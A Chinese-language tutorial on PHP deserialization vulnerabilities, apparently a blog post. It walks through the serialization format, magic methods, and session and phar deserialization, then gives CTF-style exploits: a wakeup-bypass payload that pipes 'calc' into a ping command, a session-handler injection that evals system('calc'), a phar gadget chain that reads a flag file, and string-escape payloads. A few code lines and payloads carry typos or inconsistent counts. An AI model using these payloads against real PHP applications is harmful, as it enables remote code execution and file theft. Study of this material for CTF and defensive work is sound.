PHP序列化与序列化
作者:H3h3QAQ
一、PHP序列化和反序列化
1.PHP反序列化:
serialize()
将变量或者对象转换成字符串的过程,用于存储或传递PHP的值的过程种,同时不丢失其类型和结构
常见的序列化字母表示及其含义:
|
1
2
3
4
5
6
7
8
9
10
11
12
|
a - array ----->a:<n>:{<key 1><value 1>...<key n><value n>}b - boolean ----->b:<digit>d - double ----->d:<number>i - integer ----->i:<number>o - commonr - references - string ----->s:<length>:"<value>"C - custom objectO - class ----->O:<length>:"<class name>":<n>:{<field name 1><field value1>...<field name n><field value n>}N - nullR - pointer referenceU - unicode string |
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?phpclass h3{ public $v1; public $v2=false; public $v3=1; public $v4=2.1; public $v5=array(); public $v6="h3h3QAQ"; private $v7="H3h3QAQ"; protected $v8="protected";}$s=serialize(new h3());echo $s;var_dump(unserialize($s)); |
序列化运行结果为:
|
1
|
O:2:"h3":8:{s:2:"v1";N;s:2:"v2";b:0;s:2:"v3";i:1;s:2:"v4";d:2.1;s:2:"v5";a:0:{}s:2:"v6";s:7:"h3h3QAQ";s:6:" h3 v7";s:7:"H3h3QAQ";s:5:" * v8";s:9:"protected";} |
反序列化运行结果
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
object(h3)#1 (8) { ["v1"]=> NULL ["v2"]=> bool(false) ["v3"]=> int(1) ["v4"]=> float(2.1) ["v5"]=> array(0) { } ["v6"]=> string(7) "h3h3QAQ" ["v7":"h3":private]=> string(7) "H3h3QAQ" ["v8":protected]=> string(9) "protected"} |
(1)各种魔术方法
|
1
2
3
4
5
6
7
8
9
10
11
12
|
__destruct()://析构函数当对象被销毁时会被自动调用__wakeup(): //unserialize()时会被自动调用__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用__call(): //在对象上下文中调用不可访问的方法时触发__callStatci(): //在静态上下文中调用不可访问的方法时触发__get(): //用于从不可访问的属性读取数据__set(): //用于将数据写入不可访问的属性__isset(): //在不可访问的属性上调用isset()或empty()触发__unset(): //在不可访问的属性上使用unset()时触发__toString(): //把类当作字符串使用时触发__construct(): //构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用 |
当PHP5<5.6.25、PHP7<7.0.1时,当成员属性数目大于实际数码时可绕过__wakeup方法(CVE-2016-7124)
(2)PHP反序列化特性
1.PHP在反序列化时,底层代码时以;作为字段的分隔,以}作为结尾(字符串除外),并且是根据长度判断内容的。
2.在反序列的时候php会根据s所指定的字符长度去读取后面的字符。如果指定的长度错误则反序列化就会失败。
3.对类中不存在的属性也会进行反序列化。
2.session反序列化
(1)session概念
PHP session时一个特殊的变量,用于存储有关用户会话的信息,或更改用户会话的设置。session变量保存的信息是单一用户的,并且可供应用程序中的所有界面使用。它每个访问或者创建都有唯一的id(UID),并基于这个UID来储存变量。UID储存在cookie中,或者通过URL来进行传导。
(2)会话过程
当开始一个会话时,PHP会尝试从请求中查找会话ID(通常通过会话cookie),如果请求中不包括会话ID信息,PHP就会创建一个新的会话。会话开始之后,PHP就会将会话中的数据设置到$_SESSION变量中。当PHP停止的时候,它会自动读取$_SESSION中的内容,并将其进行序列化,然后发送会话保存管理器来进行保存。
默认情况下,PHP使用内置的文件会话保存管理器(files)来完成会话的保存。可以通过调用函数session_start()来手动开始一个会话。如果配置项session.auto_start设置为1,那么请求开始的时候,会话会自动开始
PHP脚本执行完毕之后,会话会自动关闭。同时,也可以通过调用函数session_write_close()来手动关闭会话
(3)存储引擎
PHP中的session中的内容默认是以文件的方式储存,储存方式是由配置项session.save_handler来进行确定的,默认是以文件的方式储存。储存的文件是以sess_PHPSESSID来进行命名的,文件的内容就是session值得序列化之后得内容。
session.serialize_handler有如下三种取值:
|
1
2
3
4
5
6
|
<?php error_reporting(0); in_set('session.serialize_handeler','php_binary');//这里可以换不同的存储引擎 session_start(); $_SESSION['username']=$_GET['username'];?> |
每种存储引擎存储的内容格式:
3.phar反序列化
phar反序列化就是可以在不使用php函数unserialize()的前提下,进行反序列化,从而引起php对象注入漏洞
phar文件的结构:
|
1
2
3
4
|
-stub:phar文件标识,前面内容不限,但是必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件-manifest:压缩文件的属性等信息,以序列化的形式储存自定义的meat-data,这里就是漏洞利用的关键点-contents:压缩文件的内容-signature:签名,在文件末尾 |
生成phar文件
|
1
|
一定要将php.ini中的phar.readonly选项设置为Off |
|
1
2
3
4
5
6
7
8
9
10
11
12
|
<?phpclass h3{}@unlink("phar.phar");$phar= new Phar("phar.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php__HALT_COMPILER();?>");//设置stub,添加gif文件头$o=new h3();$phar->setMetadata($o);//将自定义meat-data存入manifest$phar->addFromString("test.txt","test");//添加要压缩的文件$phar->stopBuffering();?> |
二、反序列化漏洞
1.反序列化成因
主要是反序列化过程中某些参数可控,传入构造的字符串,从而控制内部的变量设置函数,执行想要的操作
(1)phar反序列化漏洞造成原因
漏洞出发点在使用phar://协议读取文件的时候,文件内容黑背解析成为phar对象,然后phar对象内的Meta-data信息会被反序列化。当内核调用phar_parse_metadata()解析met-adata数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成漏洞
2.反序列化漏洞
(1)PHP反序列化漏洞
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
<?phphighlight_string(file_get_contents('exam_day1.php'));class home{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct() { // TODO: Implement __destruct() method. if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($host) { system("ping -C 2 $host"); } function __wakeup() { $this->args = array("127.0.0.1"); }}$a=@$_GET['a'];@unserialize($a);?> |
我们可以简单的分析一下代码
定义了一个class类,类中有两个私有变量method和args
有三个魔术方法:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
function __construct($method, $args) //构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用 { $this->method = $method; $this->args = $args; }function __destruct() //析构函数当对象被销毁时会被自动调用 { // TODO: Implement __destruct() method. if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } }function __wakeup() //unserialize()时会被自动调用 { $this->args = array("127.0.0.1"); } |
分析代码段中host的来源,想办法利用system()构成RCE
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
<?phphighlight_string(file_get_contents('exam_day1.php'));class home{ private $method; private $args; function __construct($method, $args) //构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用 { $this->method = $method; $this->args = $args; } function __destruct()//析构函数当对象被销毁时会被自动调用 { // TODO: Implement __destruct() method. if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($host) { system("ping -C 2 $host"); } function __wakeup() //unserialize()时会被自动调用 { $this->args = array("127.0.0.1"); }}$a=@$_GET['a'];@unserialize($a);?> |
我们观察代码可知:
GET方法获取参数a,并且将其反序列化。
但是再执行反序列化的时候,会自动调用__wakeup()魔术方法,把args的值改为127.0.0.1
无论我们怎么构造payload,system()执行的命令都是ping -c 2 127.0.0.1
这时我们可以利用到CVE-2016-7124漏洞
适用版本:
PHP5<5.6.25、PHP7<7.0.1
当成员属性数目大于实际数码时可绕过__wakeup方法
就可以构造恶意payload来RCE
这里还有个小知识点|管道符
|
1
|
把一个命令的标准输出传送到另一个命令的标准输入中,连续的|意味着第一个命令的输出为第二个命令的输入,第二个命令的输入为第一个命令的输出。 |
所以我们可以构造序列化了
|
1
2
3
4
5
6
|
<?phpclass home{ private $method="ping"; private $args=array("|calc");}serialize(new home()); |
|
1
|
O:4:"home":2:{s:12:" home method";s:4:"ping";s:10:" home args";a:1:{i:0;s:7:"|calc";}} |
需要跳一下__wakeup()把成员属性数目改为3
|
1
|
O:4:"home":3:{s:12:" home method";s:4:"ping";s:10:" home args";a:1:{i:0;s:7:"|calc";}} |
URL编码一下
|
1
|
O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A4%3A%22ping%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A5%3A%22%7Ccalc%22%3B%7D%7D |
成功RCE
(2)session反序列化漏洞
当网站序列化存储session与反序列化读取session方式不同时,就可能导致session反序列化漏洞的产生。一般都是以php_serialize序列化存储session,以PHP反序列化读取session,造成反序列化攻击
例子:
phpinfo:
s1.php:
|
1
2
3
4
5
6
7
|
<?phphighlight_file(__FILE__);error_reporting(0);ini_set("session.serialize_handler",'php_serialize');session_start();$_SESSION["h3"]=$_GET["u"];?> |
s2.php:
|
1
2
3
4
5
6
7
8
9
10
|
<?phphighlight_file(__FILE__);session_start();class session{ var $var; function __destruct(){ eval($this->var); }}?> |
这里需要说一下unserialize的特性,在执行unserialize的时候,如果字符串前面满足了可被序列化的规则,则后学的字符就会被忽略
|
1
|
a:1:{s:2:"h3";s:52:"|O:7:"session":1:{s:3:"var";s:15:"system('calc');";}";} |
exp:
|
1
2
3
4
5
|
<?phpclass session{ var $var="system('calc');";}echo "|".serialize(new session()); |
执行结果:
上文可以给$_SESSION赋值,若代码中不存在给$_SESSION赋值可以利用uplode_process机制,可以在$_SESSION中创建一个键值对,其中的值可以控制
|
1
2
3
4
|
<?php$key=ini_get("session.upload_progress.prefix") . ini_get("session.upload_progress.name");var_dump($_SESSION[$key]);?> |
(3)phar反序列化
利用条件:
|
1
2
3
4
5
6
7
|
-phar文件能够上传到服务器-要有可用的魔术方法作为“跳板”-文件操作函数的参数可控,且:/ 等特殊字符没有被过滤有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下 |
例题:
[SWPUCTF 2018]SimplePHP
存在任意文件读取
先来读取一下upload_file.php
|
1
2
3
4
|
<?phpinclude 'function.php';upload_file();?> |
再来读取一下function.php
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
<?php//show_source(__FILE__);include "base.php";header("Content-type: text/html;charset=utf-8");error_reporting(0);function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>';}function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); }}function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } }}?> |
再读取一下base.php
发现了提示
回头再来看class.php
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
<?phpclass C1e4r{ public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; }}class Show{ public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } }}class Test{ public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; }}?> |
在Test类中存在敏感操作
|
1
2
3
4
5
|
public function file_get($value){ $text = base64_encode(file_get_contents($value)); return $text;} |
可以反向推poc链
通过file_get_content来读取我们想要的文件,也就是调用file_get函数,之前分析得知__get->get->file_get,所以关键是触发__get方法,那么就要外部访问一个Test类没有或不可访问的属性,我们注意到前面Show类的__tostring方法
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
class Show{ public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } }} |
|
1
2
3
4
5
|
public function __toString() //把类当作字符串使用时触发 { $content = $this->str['str']->source; return $content; } |
查看一下怎么能够触发__toString()方法
|
1
2
3
4
5
|
public function __destruct(){ $this->test = $this->str; echo $this->test;} |
知要echo test即可
整条链子为
|
1
|
C1e4r::destruct() -> Show::toString() -> Test::__get() |
exp如下
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
<?phpclass C1e4r{ public $test; public $str;}class Show{ public $source; public $str;}class Test{ public $file; public $params;}$a= new C1e4r();$b= new Show();$c= new Test();$c->params['source'] = "/var/www/html/f1ag.php";$a->str = $b;$b->str['str'] = $c;$phar = new Phar("exp.phar"); //生成phar文件$phar->startBuffering();$phar->setStub('<?php __HALT_COMPILER(); ? >');$phar->setMetadata($a); //触发头是C1e4r类$phar->addFromString("exp.txt", "test"); //生成签名$phar->stopBuffering();?> |
修改生成得phar文件后缀
上传成功后回到文件读取点来读phar文件
拿到base64加密得flag
反序列化字符逃逸
一、概念
在反序列化前,对序列化后的字符串进行替换或者修改,使得字符串的长度发生了变化,通过构造特定的字符串,导致对象注入等恶意操作。
二、字符变多
例子:
该题源码如下
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?phpinclude 'flag.php';function filter($string){ return str_replace('x','yy',$string);}$username=$_GET['u'];$password="aaa";$user=array($username,$password);$s=serialize($user);$r=filter($s);echo $r;$a= unserialize($r);if ($a[1]==='admin'){ echo $flag;}highlight_file(__FILE__);?> |
文件包含了flag
然后filter()方法,会将序列化字符串中的x替换为yy,可能会导致字符串长度
我们试着传入u=admin
序列化为:
|
1
|
a:2:{i:0;s:5:"admin";i:1;s:3:"aaa";} |
反序列化后
a[1]不等于”admin” 没有满足条件
我们构造一下数组
|
1
2
3
|
<?php$a= array('a',"admin");echo serialize($a); |
|
1
|
a:2:{i:0;s:1:"a";i:1;s:5:"admin";} |
但是我们只有一个参数username可控
可以利用字符串逃逸
复制自己想要构造的字符串
|
1
|
";i:1;s:5:"admin";} |
按照长度添加字符串,已知长度为19
则在前方填充19个x
|
1
|
'xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";} |
测试一下
|
1
2
3
4
5
|
<?php$a= array('xxxxxxxxxxxxxxxxxxx";i:1;s:5:"admin";}',"a");$s= serialize($a);$v = str_replace('x','yy',$s);echo $v; |
运行结果
|
1
|
a:2:{i:0;s:38:"yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy";i:1;s:5:"admin";}";i:1;s:1:"a";} |
可以看到已经逃逸出来了
这里利用了序列化的特性
反序列化看一下
|
1
2
3
4
5
6
|
array(2) { [0] => string(38) "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy" [1] => string(5) "admin"} |
可以观察整个数据的变化
成功逃逸。获得flag
三、字符变少
也是拿一道题做例子
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<?phperror_reporting(0);include 'flag.php';function filter($string){ return str_replace('sec','',$string);}$username=$_GET['u'];$password=$_GET['p'];$auth="guest";$user=array($username,$password);$s=serialize($user);$r=filter($s);$a=unserialize($r);if($a[2]==='admin'){ echo flag;}highlight_file(__FILE__);?> |
跟上一道题差不多
先随意构造一下争取的payload:
|
1
2
3
4
5
|
<?php$a= array("u","p","admin");$s= serialize($a);echo $s;$v = str_replace('sec','',$s); |
运行后拿到所需部分
|
1
|
";i:2;s:5:"admin";} |
需要我们传入的payload
|
1
|
u=xxx&p=xxxx |
已知两个可控值中间的部分不变(可能会多一位)
|
1
|
";i:1;s:1:" |
这里可以利用替换方法换成空值从而完成逃逸
|
1
2
3
4
5
|
<?php$a= array("secsecsecsec",'";i:1;s:1:"p";i:2;s:5:"admin";}',"admin");$s= serialize($a);echo $s;$v = str_replace('sec','',$s); |
执行结果
|
1
|
a:3:{i:0;s:12:"secsecsecsec";i:1;s:31:"";i:1;s:1:"p";i:2;s:5:"admin";}";i:2;s:5:"admin";} |
可以看到已经完成了逃逸
反序列化一下看看
|
1
2
3
4
5
6
7
8
|
array(3) { [0] => string(12) "";i:1;s:31:"" [1] => string(1) "p" [2] => string(5) "admin"} |
a[2]=admin 拿到flag
目前先更新这么多
未来还会继续添加













